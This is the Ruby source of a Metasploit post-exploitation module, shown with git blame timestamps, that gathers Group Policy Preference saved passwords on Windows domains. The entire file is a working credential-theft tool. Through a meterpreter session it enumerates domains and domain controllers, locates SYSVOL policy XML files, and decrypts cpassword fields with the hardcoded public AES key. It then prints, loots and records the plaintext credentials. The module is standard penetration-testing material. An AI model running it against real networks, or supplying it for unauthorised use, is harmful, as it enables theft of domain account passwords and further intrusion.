metasploit-framework/modules/post/windows/gather/credentials/gpp.rb

457 lines
14 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/windows/registry'
2012-07-20 21:58:11 +00:00
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
'Description' => %q{
This module enumerates the victim machine's domain controller and
2012-06-21 17:46:20 +00:00
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
2012-06-21 17:46:20 +00:00
2012-06-23 17:45:56 +00:00
Tested on WinXP SP3 Client and Win2k8 R2 DC.
},
'License' => MSF_LICENSE,
'Author' =>[
2012-06-22 18:12:42 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
2012-06-22 18:12:42 +00:00
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
'theLightCosine',
2012-10-22 21:01:58 +00:00
'mubix' #domain/dc enumeration code
],
2012-06-21 17:46:20 +00:00
'References' =>
[
2012-06-22 10:14:19 +00:00
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
2012-06-22 17:11:15 +00:00
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
2012-06-21 17:46:20 +00:00
register_options([
OptBool.new('ALL', [false, 'Enumerate all domains on network.', true]),
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
2012-06-24 18:08:19 +00:00
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
end
def run
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
domains = []
basepaths = []
fullpaths = []
cached_domain_controller = nil
print_status "Checking locally..."
2012-06-24 18:08:19 +00:00
locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
unless locals.blank?
basepaths << locals
print_good "Group Policy Files found locally"
2012-06-24 18:08:19 +00:00
end
# If user supplied domains this implicitly cancels the ALL flag.
if datastore['ALL'] and datastore['DOMAINS'].blank?
print_status "Enumerating Domains on the Network..."
domains = enum_domains
domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?}
end
# Add user specified domains to list.
unless datastore['DOMAINS'].blank?
2012-07-03 23:41:03 +00:00
if datastore['DOMAINS'].match(/\./)
2012-07-03 20:34:33 +00:00
print_error "DOMAINS must not contain DNS style domain names e.g. 'mydomain.net'. Instead use 'mydomain'."
return
end
user_domains = datastore['DOMAINS'].split(' ')
user_domains = user_domains.map {|x| x.upcase}
print_status "Enumerating the user supplied Domain(s): #{user_domains.join(', ')}..."
user_domains.each{|ud| domains << ud}
end
# If we find a local policy store then assume we are on DC and do not wish to enumerate the current DC again.
# If user supplied domains we do not wish to enumerate registry retrieved domains.
if locals.blank? && user_domains.blank?
print_status "Enumerating domain information from the local registry..."
domains << get_domain_reg
end
domains.flatten!
domains.compact!
2012-06-24 18:08:19 +00:00
domains.uniq!
# Dont check registry if we find local files.
cached_dc = get_cached_domain_controller if locals.blank?
2012-06-27 15:06:15 +00:00
domains.each do |domain|
2012-06-24 18:08:19 +00:00
dcs = enum_dcs(domain)
dcs = [] if dcs.nil?
# Add registry cached DC for the test case where no DC is enumerated on the network.
if !cached_dc.nil? && (cached_dc.include? domain)
dcs << cached_dc
end
next if dcs.blank?
2012-06-24 18:08:19 +00:00
dcs.uniq!
tbase = []
2012-06-27 15:06:15 +00:00
dcs.each do |dc|
2012-06-24 18:08:19 +00:00
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
#If we got a basepath from the DC we know that we can reach it
#All DCs on the same domain should be the same so we only need one
unless tbase.blank?
print_good "Found Policy Share on #{dc}"
basepaths << tbase
break
end
end
end
basepaths.flatten!
basepaths.compact!
2012-06-24 18:08:19 +00:00
print_status "Searching for Group Policy XML Files..."
basepaths.each do |policy_path|
fullpaths << find_path(policy_path, group_path)
fullpaths << find_path(policy_path, group_path_user)
fullpaths << find_path(policy_path, service_path)
fullpaths << find_path(policy_path, printer_path)
fullpaths << find_path(policy_path, drive_path)
fullpaths << find_path(policy_path, datasource_path)
fullpaths << find_path(policy_path, datasource_path_user)
fullpaths << find_path(policy_path, task_path)
fullpaths << find_path(policy_path, task_path_user)
end
fullpaths.flatten!
fullpaths.compact!
fullpaths.each do |filepath|
tmpfile = gpp_xml_file(filepath)
parse_xml(tmpfile) if tmpfile
end
end
def get_basepaths(base)
locals = []
begin
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
tpath = "#{base}\\#{sub}\\Policies"
2012-06-27 15:06:15 +00:00
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
end
2012-06-23 17:56:12 +00:00
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Could not access #{tpath} : #{e.message}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error accessing #{base} : #{e.message}"
end
return locals
end
def find_path(path, xml_path)
xml_path = "#{path}#{xml_path}"
begin
return xml_path if client.fs.file.stat(xml_path)
rescue Rex::Post::Meterpreter::RequestError => e
# No permissions for this specific file.
2012-06-22 17:11:15 +00:00
return nil
end
end
def gpp_xml_file(path)
begin
groups = client.fs.file.new(path,'r')
until groups.eof
data = groups.read
end
2012-06-21 17:46:20 +00:00
spath = path.split('\\')
retobj = {
:dc => spath[2],
2012-06-24 18:08:19 +00:00
:path => path,
:xml => REXML::Document.new(data).root
2012-06-27 15:06:15 +00:00
}
if spath[4] == "sysvol"
2012-06-27 15:06:15 +00:00
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
return retobj
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
end
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
2012-06-24 18:08:19 +00:00
print_status "Parsing file: #{xmlfile[:path]} ..."
filetype = xmlfile[:path].split('\\').last()
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
pass = decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].blank?
2012-06-24 18:08:19 +00:00
changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
2012-06-27 15:06:15 +00:00
expires = node.attributes['expires']
2012-06-24 18:08:19 +00:00
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
2012-06-24 18:08:19 +00:00
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
2012-06-24 18:08:19 +00:00
[
'Name',
'Value',
]
)
table << ["TYPE", filetype]
table << ["USERNAME", user]
2012-06-24 18:08:19 +00:00
table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
table << ["DOMAIN", xmlfile[:domain] ]
2012-06-24 18:08:19 +00:00
table << ["CHANGED", changed]
table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank?
table << ["PATH", path] unless path.blank?
table << ["DATASOURCE", dsn] unless dsn.blank?
table << ["DRIVER", driver] unless driver.blank?
table << ["TASK", app_name] unless app_name.blank?
table << ["SERVICE", service] unless service.blank?
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
end
2012-06-24 18:08:19 +00:00
print_good table.to_s
if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
print_status("XML file saved to: #{stored_path}")
end
2012-06-24 18:08:19 +00:00
report_creds(user,pass) unless disabled and disabled == '1'
end
end
def report_creds(user, pass)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
2012-06-22 13:36:29 +00:00
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
2012-06-22 10:36:27 +00:00
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
2012-06-22 13:36:29 +00:00
return pass
end
def enum_domains
2012-06-22 17:11:15 +00:00
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
2012-06-21 17:46:20 +00:00
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} Domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
if count == 0
return domains
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
domains << x[:domain]
base = base + 8
end
domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
return domains
end
def enum_dcs(domain)
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
# http://support.microsoft.com/kb/909264 \/:*?"<>|
if domain =~ /[:\*?"<>\\\/.]/
print_error("Cannot enumerate domain name contains disallowed characters: #{domain}")
return nil
end
print_status("Enumerating DCs for #{domain} on the network...")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
print_error("No Domain Controllers found for #{domain}")
return nil
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
count.times{|i|
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
}
return hostnames
end
# We use this for the odd test case where a DC is unable to be enumerated from the network
# but is cached in the registry.
def get_cached_domain_controller
begin
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\"
v_name = "DCName"
dc = registry_getvaldata(subkey, v_name).gsub(/\\/, '').upcase
print_status "Retrieved DC #{dc} from registry"
return dc
rescue
print_status("No DC found in registry")
end
end
def get_domain_reg
locations = []
# Lots of redundancy but hey this is quick!
locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"]
domains = []
# Pulls cached domains from registry
domain_cache = registry_enumvals("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache\\")
if domain_cache
domain_cache.each { |ud| domains << ud }
end
locations.each do |location|
begin
subkey = location[0]
v_name = location[1]
domain = registry_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message}"
end
2012-07-02 15:51:15 +00:00
unless domain.blank?
domain_parts = domain.split('.')
domains << domain.split('.').first.upcase unless domain_parts.empty?
end
end
domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from registry"
return domains
end
end